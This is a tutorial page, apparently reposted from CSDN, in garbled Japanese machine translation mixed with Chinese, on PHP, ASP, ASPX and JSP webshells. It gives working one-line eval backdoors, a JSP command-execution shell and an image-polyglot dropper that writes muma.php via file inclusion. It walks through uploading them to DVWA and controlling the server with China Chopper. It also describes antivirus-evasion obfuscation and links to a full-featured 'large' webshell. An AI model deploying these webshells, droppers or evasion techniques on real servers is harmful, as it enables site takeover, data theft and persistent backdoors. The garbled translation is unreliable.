検索
ホームページバックエンド開発PHPチュートリアルトロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

PHP については、多くのトロイの木馬が登場しますが、ほとんどの人はまだ彼女のことを十分に深く理解していません。今日の記事は、トロイの木馬とは何か、その形式と原理は何なのかを理解するのに役立ちます。この記事を読むと意外な発見があると思いますので、ぜひ一緒に頑張りましょう!

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

概要:

多くの侵入プロセスでは、侵入担当者が文型トロイの木馬 (Webshel​​l と呼ばれる) をアップロードします。 to 現在、Web サービス ディレクトリは、システム権限を取得するために権限をエスカレートします。これは、asp、php、jsp、または aspx に関係なく当てはまります。では、一文のトロイの木馬とは一体何ですか?

まず、最も単純な 1 文のトロイの木馬を見てください。

   <?php @eval($_POST[&#39;attack&#39;]);?>

[基本原則] ファイル アップロードの脆弱性 を使用して、文のトロイの木馬をターゲット Web サイトにアップロードします。 Chinese Chopperchopper をローカルで使用できます。exe は Web サイトのディレクトリ全体を取得して制御できます。 #@ は、後で実行中にエラーが発生した場合でも、エラーは報告されないことを意味します。 eval()この関数は、括弧内のすべてのステートメント文字列がコードとして実行されることを示します。 $_POST['攻撃'] は、ページから攻撃パラメータ値を取得することを意味します。

侵入条件

このうち、攻撃者が次の 3 つの条件を満たしていれば侵入は成功します。 Forms

一般的な 1 文のトロイの木馬:

  • 木马上传成功,未被杀;
    知道木马的路径在哪;
    上传的木马能正常运行。
これらのステートメントを Web サイト上の asp/aspx/php ファイルに直接挿入することも、Write these で新しいファイルを直接作成することもできます。ステートメントを含めて、ファイルを Web サイトにアップロードします。

基本原則

まず、オリジナルでシンプルな php 一文のトロイの木馬を見てみましょう:
php的一句话木马: <?php @eval($_POST[&#39;pass&#39;]);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> 
<%eval(Request.Item["pass"],"unsafe");%>
先人たちを称賛しなければなりません。この知恵を見たら。 PHP について少し知っている人、またはジュニアのセキュリティ愛好家、またはスクリプトの専門家にとって、

が最初に目にするのは、パスワードが cmd

であり、データが post を通じて送信されるということですが、その実行方法は次のとおりです。具体的にはどうなるかはわかりませんが、文がどのように実行されるかを分析してみましょう。

この文はどういう意味ですか?

(1) PHP コードは、サーバーがこれが PHP コードであることを認識して解析できるように、 で記述する必要があります。

(2)

@ 記号は、エラーが報告されないことを意味します。実行エラーが発生しても、エラーは報告されません。 ############なぜ?変数が定義されずに使用されたため、サーバーは親切にも「xxx 変数が定義されていないことに注意してください」と注意を促しました。これでパスワードが漏洩することはないのでしょうか?したがって、@
を追加します。
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み) (3) パスワードが cmd なのはなぜですか?

次に、この文の意味を理解する必要があります。 php にはスーパー グローバル変数がいくつかあります。$_GET と $_POST もその 1 つです。 $_POST['a']
; は、変数 a が post メソッドを使用して受け取られることを意味します。

注: データを送信するには、get と post の 2 つの方法があります。Post ではメッセージ本文にデータが保存され、get ではメッセージ ヘッダーの URL パス (xxx.php など) にデータが保存されます。 ?a=2 )

(4) eval()関数

を理解するにはどうすればよいですか?

eval() は文字列を PHP コード

として実行します。 例: eval("echo 'a'");実際、これは直接

echo 'a'

; もう一度見てみましょう まず、post メソッドを使用して変数 pw を受け取ります。たとえば、次のような場合:

pw=echo 'a'

; この場合、コードは <?php eval("echo 'a';"); ?> になります。結果は次のようになります。 接続すると、
を意味します: post メソッドを使用して変数 pw を受け取り、変数 pw 内の文字列を php コードとして扱い、実行します。したがって、次のようにプレイできます。つまり、コードを実行したい場合は、そのコードを変数 pw に入れ、post を使用してそれを 1 文のトロイの木馬に送信します。ターゲットのハードディスクにポルノ映画があるかどうかを確認したい場合は、php 関数
opendir()

readdir()トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み) などを使用できます。ウェブサイトの所有者を映すためにポルノ映画をアップロードしたい場合は、php 関数

move_uploaded_file

を使用できます。もちろん、対応する HTML を適切に記述する必要があります。 cmd コマンドを実行したい場合は、exec() を使用します。 <p>当然前提是:php配置文件php.ini里,关掉安全模式<code>safe_mode = off,然后再看看 禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

来看看效果,POST代码如下:

  cmd=header("Content-type:text/html;charset=gbk");
  exec("ipconfig",$out);
  echo &#39;<pre class="brush:php;toolbar:false">&#39;;
  print_r($out);
  echo &#39;
';

在这里我们可以看到系统直接执行了系统命令。SO,大家现在应该理解,为什么说一句话短小精悍了吧!
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

木马利用

以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。

中国菜刀

【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

  <?php @eval($_POST[&#39;pass&#39;]);?>

接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

在Low 安全级别下,查看后台源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ], $target_path ) ) {
        // No
        echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
';     }     else {         // Yes!         echo "
{$target_path} succesfully uploaded!
";     }   }?>

从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み) (2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

“中国菜刀”页面操作说明:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;
2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");
3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

(3)然后可以看连接成功的界面:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

(4)接着双击或者右键“文件管理”,进入以下界面:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……

图片木马

木马如何才能上传成功?通常防御者都会对类型、大小、进行过滤。另外,若规定是上传的图片,还会对图片进行采集。即使攻击者修改文件类型,也过不了图片采集那一关。所以,这就需要一张图片来做掩护。做成隐藏在图片下的木马。linux和windows都有相应的命令,能够让一个文件融合到另一个文件后面,达到隐藏的目的。

承接上面DVWA实验,High 安全等级,继续先查看源码:

 <?php
 if( isset( $_POST[ &#39;Upload&#39; ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ] );

    // File information
    $uploaded_name = $_FILES[ &#39;uploaded&#39; ][ &#39;name&#39; ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, &#39;.&#39; ) + 1);
    $uploaded_size = $_FILES[ &#39;uploaded&#39; ][ &#39;size&#39; ];
    $uploaded_tmp  = $_FILES[ &#39;uploaded&#39; ][ &#39;tmp_name&#39; ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo &#39;<pre class="brush:php;toolbar:false">Your image was not uploaded.
';         }         else {             // Yes!             echo "
{$target_path} succesfully uploaded!
";         }     }     else {         // Invalid file         echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
';     }  }?>

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”“.jpeg”“*.png”之一。同时,getimagesize()函数更是限制了上传文件的文件头必须为图像类型
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件

生成带有木马的图片文件hack.jpg
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

访问图片木马:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

接下来,上菜刀!!!!!!!!!!!トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen(&#39;muma.php&#39;,&#39;w&#39;),&#39;<?php @eval($_POST[hack]);?>&#39;); ?>

然后制作新的图片木马,如下图所示:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

访问的地址如下:<code style="font-size: 14px;">http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

此时在DVWA文件包含漏洞的路径下便自动生成了PHP一句话木马脚本文件muma.php,如下图所示:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

此时再上菜刀连接,即可成功连接:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

至此,我们成功结合文件包含漏洞,在只能上传图片的文件上传功能处上传图片木马并生成一句话木马。

木马免杀

就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来。而且,还会很明确的说这是后门。因此,作为攻击者就得会各种免杀技巧。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

免杀思路】:

1、将源代码进行再次编码。
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

2、将那一句话木马进行base64编码,存放在"乱七八糟"的代码中,直接看图:

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

3、还是一句话木马,进行变形,只不过,这次的变形是在数组中键值对变形。很强。

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

不得不说,免杀的思路真是越猥琐,越好。研究起来非常有意思。以后等我渗透熟练了,会好好研究一下PHP代码的各种免杀技巧。很好玩,思路很猥琐。

小马和大马

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre class="brush:php;toolbar:false">");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
");     }%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。

网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

继续访问下命令执行功能(其他功能不展示了):

トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A
提取码:56pd。另外提供JSP大马的参考地址:https://blog.csdn.net/weixin_34248023/article/details/93094456

WebShell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:
トロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)

推荐学习:《PHP视频教程

以上がトロイの木馬とは何ですか?その形式と原理は何ですか? (選択済み)の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明
この記事はCSDNで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。
11ベストPHP URLショートナースクリプト(無料およびプレミアム)11ベストPHP URLショートナースクリプト(無料およびプレミアム)Mar 03, 2025 am 10:49 AM

多くの場合、キーワードと追跡パラメーターで散らかった長いURLは、訪問者を阻止できます。 URL短縮スクリプトはソリューションを提供し、ソーシャルメディアやその他のプラットフォームに最適な簡潔なリンクを作成します。 これらのスクリプトは、個々のWebサイトにとって価値があります

Instagram APIの紹介Instagram APIの紹介Mar 02, 2025 am 09:32 AM

2012年のFacebookによる有名な買収に続いて、Instagramはサードパーティの使用のために2セットのAPIを採用しました。これらはInstagramグラフAPIとInstagram Basic Display APIです。

Laravelでフラッシュセッションデータを使用しますLaravelでフラッシュセッションデータを使用しますMar 12, 2025 pm 05:08 PM

Laravelは、直感的なフラッシュメソッドを使用して、一時的なセッションデータの処理を簡素化します。これは、アプリケーション内に簡単なメッセージ、アラート、または通知を表示するのに最適です。 データは、デフォルトで次の要求のためにのみ持続します。 $リクエスト -

LaravelのバックエンドでReactアプリを構築する:パート2、ReactLaravelのバックエンドでReactアプリを構築する:パート2、ReactMar 04, 2025 am 09:33 AM

これは、LaravelバックエンドとのReactアプリケーションの構築に関するシリーズの2番目と最終部分です。シリーズの最初の部分では、基本的な製品上場アプリケーションのためにLaravelを使用してRESTFUL APIを作成しました。このチュートリアルでは、開発者になります

Laravelテストでの簡略化されたHTTP応答のモッキングLaravelテストでの簡略化されたHTTP応答のモッキングMar 12, 2025 pm 05:09 PM

Laravelは簡潔なHTTP応答シミュレーション構文を提供し、HTTP相互作用テストを簡素化します。このアプローチは、テストシミュレーションをより直感的にしながら、コード冗長性を大幅に削減します。 基本的な実装は、さまざまな応答タイプのショートカットを提供します。 Illuminate \ support \ facades \ httpを使用します。 http :: fake([[ 'google.com' => 'hello world'、 'github.com' => ['foo' => 'bar']、 'forge.laravel.com' =>

PHPのカール:REST APIでPHPカール拡張機能を使用する方法PHPのカール:REST APIでPHPカール拡張機能を使用する方法Mar 14, 2025 am 11:42 AM

PHPクライアントURL(CURL)拡張機能は、開発者にとって強力なツールであり、リモートサーバーやREST APIとのシームレスな対話を可能にします。尊敬されるマルチプロトコルファイル転送ライブラリであるLibcurlを活用することにより、PHP Curlは効率的なexecuを促進します

Codecanyonで12の最高のPHPチャットスクリプトCodecanyonで12の最高のPHPチャットスクリプトMar 13, 2025 pm 12:08 PM

顧客の最も差し迫った問題にリアルタイムでインスタントソリューションを提供したいですか? ライブチャットを使用すると、顧客とのリアルタイムな会話を行い、すぐに問題を解決できます。それはあなたがあなたのカスタムにより速いサービスを提供することを可能にします

2025 PHP状況調査の発表2025 PHP状況調査の発表Mar 03, 2025 pm 04:20 PM

2025 PHP Landscape Surveyは、現在のPHP開発動向を調査しています。 開発者や企業に洞察を提供することを目的とした、フレームワークの使用、展開方法、および課題を調査します。 この調査では、現代のPHP Versioの成長が予想されています

See all articles

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

mPDF

mPDF

mPDF は、UTF-8 でエンコードされた HTML から PDF ファイルを生成できる PHP ライブラリです。オリジナルの作者である Ian Back は、Web サイトから「オンザフライ」で PDF ファイルを出力し、さまざまな言語を処理するために mPDF を作成しました。 HTML2FPDF などのオリジナルのスクリプトよりも遅く、Unicode フォントを使用すると生成されるファイルが大きくなりますが、CSS スタイルなどをサポートし、多くの機能強化が施されています。 RTL (アラビア語とヘブライ語) や CJK (中国語、日本語、韓国語) を含むほぼすべての言語をサポートします。ネストされたブロックレベル要素 (P、DIV など) をサポートします。

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

EditPlus 中国語クラック版

EditPlus 中国語クラック版

サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません

VSCode Windows 64 ビットのダウンロード

VSCode Windows 64 ビットのダウンロード

Microsoft によって発売された無料で強力な IDE エディター